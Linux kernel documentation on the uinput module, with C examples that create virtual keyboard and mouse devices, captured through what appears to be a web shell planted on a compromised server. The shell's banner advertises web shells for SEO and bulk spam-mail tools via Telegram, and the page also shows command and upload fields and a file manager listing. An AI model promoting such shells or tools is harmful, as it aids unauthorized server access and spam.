__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.139: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>7. uinput module &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="8. The userio Protocol" href="userio.html" />
    <link rel="prev" title="6.6. Programming Interface" href="joydev/joystick-api.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Input Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../hid/index.html">Human Interface Devices (HID)</a></li>
<li class="toctree-l3"><a class="reference internal" href="../sound/index.html">Sound Subsystem Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../gpu/index.html">GPU Driver Developer’s Guide</a></li>
<li class="toctree-l3"><a class="reference internal" href="../fb/index.html">Frame Buffer</a></li>
<li class="toctree-l3"><a class="reference internal" href="../leds/index.html">LEDs</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/input/uinput.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="uinput-module">
<h1><span class="section-number">7. </span>uinput module<a class="headerlink" href="#uinput-module" title="Link to this heading">¶</a></h1>
<section id="introduction">
<h2><span class="section-number">7.1. </span>Introduction<a class="headerlink" href="#introduction" title="Link to this heading">¶</a></h2>
<p>uinput is a kernel module that makes it possible to emulate input devices
from userspace. By writing to /dev/uinput (or /dev/input/uinput) device, a
process can create a virtual input device with specific capabilities. Once
this virtual device is created, the process can send events through it,
that will be delivered to userspace and in-kernel consumers.</p>
</section>
<section id="interface">
<h2><span class="section-number">7.2. </span>Interface<a class="headerlink" href="#interface" title="Link to this heading">¶</a></h2>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>linux/uinput.h
</pre></div>
</div>
<p>The uinput header defines ioctls to create, set up, and destroy virtual
devices.</p>
</section>
<section id="libevdev">
<h2><span class="section-number">7.3. </span>libevdev<a class="headerlink" href="#libevdev" title="Link to this heading">¶</a></h2>
<p>libevdev is a wrapper library for evdev devices that provides interfaces to
create uinput devices and send events. libevdev is less error-prone than
accessing uinput directly, and should be considered for new software.</p>
<p>For examples and more information about libevdev:
<a class="reference external" href="https://www.freedesktop.org/software/libevdev/doc/latest/">https://www.freedesktop.org/software/libevdev/doc/latest/</a></p>
</section>
<section id="examples">
<h2><span class="section-number">7.4. </span>Examples<a class="headerlink" href="#examples" title="Link to this heading">¶</a></h2>
<section id="keyboard-events">
<h3><span class="section-number">7.4.1. </span>Keyboard events<a class="headerlink" href="#keyboard-events" title="Link to this heading">¶</a></h3>
<p>This first example shows how to create a new virtual device, and how to
send a key event. All default imports and error handlers were removed for
the sake of simplicity.</p>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;linux/uinput.h&gt;</span>

<span class="kt">void</span><span class="w"> </span><span class="nf">emit</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">type</span><span class="p">,</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">code</span><span class="p">,</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">val</span><span class="p">)</span>
<span class="p">{</span>
<span class="w">   </span><span class="k">struct</span><span class="w"> </span><span class="nc">input_event</span><span class="w"> </span><span class="n">ie</span><span class="p">;</span>

<span class="w">   </span><span class="n">ie</span><span class="p">.</span><span class="n">type</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">type</span><span class="p">;</span>
<span class="w">   </span><span class="n">ie</span><span class="p">.</span><span class="n">code</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">code</span><span class="p">;</span>
<span class="w">   </span><span class="n">ie</span><span class="p">.</span><span class="n">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">val</span><span class="p">;</span>
<span class="w">   </span><span class="cm">/* timestamp values below are ignored */</span>
<span class="w">   </span><span class="n">ie</span><span class="p">.</span><span class="n">time</span><span class="p">.</span><span class="n">tv_sec</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w">   </span><span class="n">ie</span><span class="p">.</span><span class="n">time</span><span class="p">.</span><span class="n">tv_usec</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>

<span class="w">   </span><span class="n">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">ie</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">ie</span><span class="p">));</span>
<span class="p">}</span>

<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w">   </span><span class="k">struct</span><span class="w"> </span><span class="nc">uinput_setup</span><span class="w"> </span><span class="n">usetup</span><span class="p">;</span>

<span class="w">   </span><span class="kt">int</span><span class="w"> </span><span class="n">fd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">open</span><span class="p">(</span><span class="s">&quot;/dev/uinput&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">O_WRONLY</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">O_NONBLOCK</span><span class="p">);</span>


<span class="w">   </span><span class="cm">/*</span>
<span class="cm">    * The ioctls below will enable the device that is about to be</span>
<span class="cm">    * created, to pass key events, in this case the space key.</span>
<span class="cm">    */</span>
<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_SET_EVBIT</span><span class="p">,</span><span class="w"> </span><span class="n">EV_KEY</span><span class="p">);</span>
<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_SET_KEYBIT</span><span class="p">,</span><span class="w"> </span><span class="n">KEY_SPACE</span><span class="p">);</span>

<span class="w">   </span><span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">usetup</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">usetup</span><span class="p">));</span>
<span class="w">   </span><span class="n">usetup</span><span class="p">.</span><span class="n">id</span><span class="p">.</span><span class="n">bustype</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">BUS_USB</span><span class="p">;</span>
<span class="w">   </span><span class="n">usetup</span><span class="p">.</span><span class="n">id</span><span class="p">.</span><span class="n">vendor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x1234</span><span class="p">;</span><span class="w"> </span><span class="cm">/* sample vendor */</span>
<span class="w">   </span><span class="n">usetup</span><span class="p">.</span><span class="n">id</span><span class="p">.</span><span class="n">product</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x5678</span><span class="p">;</span><span class="w"> </span><span class="cm">/* sample product */</span>
<span class="w">   </span><span class="n">strcpy</span><span class="p">(</span><span class="n">usetup</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;Example device&quot;</span><span class="p">);</span>

<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_DEV_SETUP</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">usetup</span><span class="p">);</span>
<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_DEV_CREATE</span><span class="p">);</span>

<span class="w">   </span><span class="cm">/*</span>
<span class="cm">    * On UI_DEV_CREATE the kernel will create the device node for this</span>
<span class="cm">    * device. We are inserting a pause here so that userspace has time</span>
<span class="cm">    * to detect, initialize the new device, and can start listening to</span>
<span class="cm">    * the event, otherwise it will not notice the event we are about</span>
<span class="cm">    * to send. This pause is only needed in our example code!</span>
<span class="cm">    */</span>
<span class="w">   </span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>

<span class="w">   </span><span class="cm">/* Key press, report the event, send key release, and report again */</span>
<span class="w">   </span><span class="n">emit</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">EV_KEY</span><span class="p">,</span><span class="w"> </span><span class="n">KEY_SPACE</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span>
<span class="w">   </span><span class="n">emit</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">EV_SYN</span><span class="p">,</span><span class="w"> </span><span class="n">SYN_REPORT</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w">   </span><span class="n">emit</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">EV_KEY</span><span class="p">,</span><span class="w"> </span><span class="n">KEY_SPACE</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w">   </span><span class="n">emit</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">EV_SYN</span><span class="p">,</span><span class="w"> </span><span class="n">SYN_REPORT</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>

<span class="w">   </span><span class="cm">/*</span>
<span class="cm">    * Give userspace some time to read the events before we destroy the</span>
<span class="cm">    * device with UI_DEV_DESTROY.</span>
<span class="cm">    */</span>
<span class="w">   </span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>

<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_DEV_DESTROY</span><span class="p">);</span>
<span class="w">   </span><span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>

<span class="w">   </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
</section>
<section id="mouse-movements">
<h3><span class="section-number">7.4.2. </span>Mouse movements<a class="headerlink" href="#mouse-movements" title="Link to this heading">¶</a></h3>
<p>This example shows how to create a virtual device that behaves like a physical
mouse.</p>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;linux/uinput.h&gt;</span>

<span class="cm">/* emit function is identical to of the first example */</span>

<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w">   </span><span class="k">struct</span><span class="w"> </span><span class="nc">uinput_setup</span><span class="w"> </span><span class="n">usetup</span><span class="p">;</span>
<span class="w">   </span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">50</span><span class="p">;</span>

<span class="w">   </span><span class="kt">int</span><span class="w"> </span><span class="n">fd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">open</span><span class="p">(</span><span class="s">&quot;/dev/uinput&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">O_WRONLY</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">O_NONBLOCK</span><span class="p">);</span>

<span class="w">   </span><span class="cm">/* enable mouse button left and relative events */</span>
<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_SET_EVBIT</span><span class="p">,</span><span class="w"> </span><span class="n">EV_KEY</span><span class="p">);</span>
<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_SET_KEYBIT</span><span class="p">,</span><span class="w"> </span><span class="n">BTN_LEFT</span><span class="p">);</span>

<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_SET_EVBIT</span><span class="p">,</span><span class="w"> </span><span class="n">EV_REL</span><span class="p">);</span>
<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_SET_RELBIT</span><span class="p">,</span><span class="w"> </span><span class="n">REL_X</span><span class="p">);</span>
<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_SET_RELBIT</span><span class="p">,</span><span class="w"> </span><span class="n">REL_Y</span><span class="p">);</span>

<span class="w">   </span><span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">usetup</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">usetup</span><span class="p">));</span>
<span class="w">   </span><span class="n">usetup</span><span class="p">.</span><span class="n">id</span><span class="p">.</span><span class="n">bustype</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">BUS_USB</span><span class="p">;</span>
<span class="w">   </span><span class="n">usetup</span><span class="p">.</span><span class="n">id</span><span class="p">.</span><span class="n">vendor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x1234</span><span class="p">;</span><span class="w"> </span><span class="cm">/* sample vendor */</span>
<span class="w">   </span><span class="n">usetup</span><span class="p">.</span><span class="n">id</span><span class="p">.</span><span class="n">product</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x5678</span><span class="p">;</span><span class="w"> </span><span class="cm">/* sample product */</span>
<span class="w">   </span><span class="n">strcpy</span><span class="p">(</span><span class="n">usetup</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;Example device&quot;</span><span class="p">);</span>

<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_DEV_SETUP</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">usetup</span><span class="p">);</span>
<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_DEV_CREATE</span><span class="p">);</span>

<span class="w">   </span><span class="cm">/*</span>
<span class="cm">    * On UI_DEV_CREATE the kernel will create the device node for this</span>
<span class="cm">    * device. We are inserting a pause here so that userspace has time</span>
<span class="cm">    * to detect, initialize the new device, and can start listening to</span>
<span class="cm">    * the event, otherwise it will not notice the event we are about</span>
<span class="cm">    * to send. This pause is only needed in our example code!</span>
<span class="cm">    */</span>
<span class="w">   </span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>

<span class="w">   </span><span class="cm">/* Move the mouse diagonally, 5 units per axis */</span>
<span class="w">   </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="o">--</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="n">emit</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">EV_REL</span><span class="p">,</span><span class="w"> </span><span class="n">REL_X</span><span class="p">,</span><span class="w"> </span><span class="mi">5</span><span class="p">);</span>
<span class="w">      </span><span class="n">emit</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">EV_REL</span><span class="p">,</span><span class="w"> </span><span class="n">REL_Y</span><span class="p">,</span><span class="w"> </span><span class="mi">5</span><span class="p">);</span>
<span class="w">      </span><span class="n">emit</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">EV_SYN</span><span class="p">,</span><span class="w"> </span><span class="n">SYN_REPORT</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w">      </span><span class="n">usleep</span><span class="p">(</span><span class="mi">15000</span><span class="p">);</span>
<span class="w">   </span><span class="p">}</span>

<span class="w">   </span><span class="cm">/*</span>
<span class="cm">    * Give userspace some time to read the events before we destroy the</span>
<span class="cm">    * device with UI_DEV_DESTROY.</span>
<span class="cm">    */</span>
<span class="w">   </span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>

<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_DEV_DESTROY</span><span class="p">);</span>
<span class="w">   </span><span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>

<span class="w">   </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
</section>
<section id="uinput-old-interface">
<h3><span class="section-number">7.4.3. </span>uinput old interface<a class="headerlink" href="#uinput-old-interface" title="Link to this heading">¶</a></h3>
<p>Before uinput version 5, there wasn’t a dedicated ioctl to set up a virtual
device. Programs supporting older versions of uinput interface need to fill
a uinput_user_dev structure and write it to the uinput file descriptor to
configure the new uinput device. New code should not use the old interface
but interact with uinput via ioctl calls, or use libevdev.</p>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;linux/uinput.h&gt;</span>

<span class="cm">/* emit function is identical to of the first example */</span>

<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w">   </span><span class="k">struct</span><span class="w"> </span><span class="nc">uinput_user_dev</span><span class="w"> </span><span class="n">uud</span><span class="p">;</span>
<span class="w">   </span><span class="kt">int</span><span class="w"> </span><span class="n">version</span><span class="p">,</span><span class="w"> </span><span class="n">rc</span><span class="p">,</span><span class="w"> </span><span class="n">fd</span><span class="p">;</span>

<span class="w">   </span><span class="n">fd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">open</span><span class="p">(</span><span class="s">&quot;/dev/uinput&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">O_WRONLY</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">O_NONBLOCK</span><span class="p">);</span>
<span class="w">   </span><span class="n">rc</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_GET_VERSION</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">version</span><span class="p">);</span>

<span class="w">   </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">rc</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="n">version</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="mi">5</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="cm">/* use UI_DEV_SETUP */</span>
<span class="w">      </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w">   </span><span class="p">}</span>

<span class="w">   </span><span class="cm">/*</span>
<span class="cm">    * The ioctls below will enable the device that is about to be</span>
<span class="cm">    * created, to pass key events, in this case the space key.</span>
<span class="cm">    */</span>
<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_SET_EVBIT</span><span class="p">,</span><span class="w"> </span><span class="n">EV_KEY</span><span class="p">);</span>
<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_SET_KEYBIT</span><span class="p">,</span><span class="w"> </span><span class="n">KEY_SPACE</span><span class="p">);</span>

<span class="w">   </span><span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">uud</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">uud</span><span class="p">));</span>
<span class="w">   </span><span class="n">snprintf</span><span class="p">(</span><span class="n">uud</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">UINPUT_MAX_NAME_SIZE</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;uinput old interface&quot;</span><span class="p">);</span>
<span class="w">   </span><span class="n">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">uud</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">uud</span><span class="p">));</span>

<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_DEV_CREATE</span><span class="p">);</span>

<span class="w">   </span><span class="cm">/*</span>
<span class="cm">    * On UI_DEV_CREATE the kernel will create the device node for this</span>
<span class="cm">    * device. We are inserting a pause here so that userspace has time</span>
<span class="cm">    * to detect, initialize the new device, and can start listening to</span>
<span class="cm">    * the event, otherwise it will not notice the event we are about</span>
<span class="cm">    * to send. This pause is only needed in our example code!</span>
<span class="cm">    */</span>
<span class="w">   </span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>

<span class="w">   </span><span class="cm">/* Key press, report the event, send key release, and report again */</span>
<span class="w">   </span><span class="n">emit</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">EV_KEY</span><span class="p">,</span><span class="w"> </span><span class="n">KEY_SPACE</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span>
<span class="w">   </span><span class="n">emit</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">EV_SYN</span><span class="p">,</span><span class="w"> </span><span class="n">SYN_REPORT</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w">   </span><span class="n">emit</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">EV_KEY</span><span class="p">,</span><span class="w"> </span><span class="n">KEY_SPACE</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w">   </span><span class="n">emit</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">EV_SYN</span><span class="p">,</span><span class="w"> </span><span class="n">SYN_REPORT</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>

<span class="w">   </span><span class="cm">/*</span>
<span class="cm">    * Give userspace some time to read the events before we destroy the</span>
<span class="cm">    * device with UI_DEV_DESTROY.</span>
<span class="cm">    */</span>
<span class="w">   </span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>

<span class="w">   </span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="w"> </span><span class="n">UI_DEV_DESTROY</span><span class="p">);</span>

<span class="w">   </span><span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
<span class="w">   </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
</section>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/input/uinput.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
devices Folder 0755
joydev Folder 0755
event-codes.html File 31.7 KB 0644
ff.html File 20.49 KB 0644
gamepad.html File 17.51 KB 0644
gameport-programming.html File 18.3 KB 0644
index.html File 11.85 KB 0644
input-programming.html File 26.24 KB 0644
input.html File 22.46 KB 0644
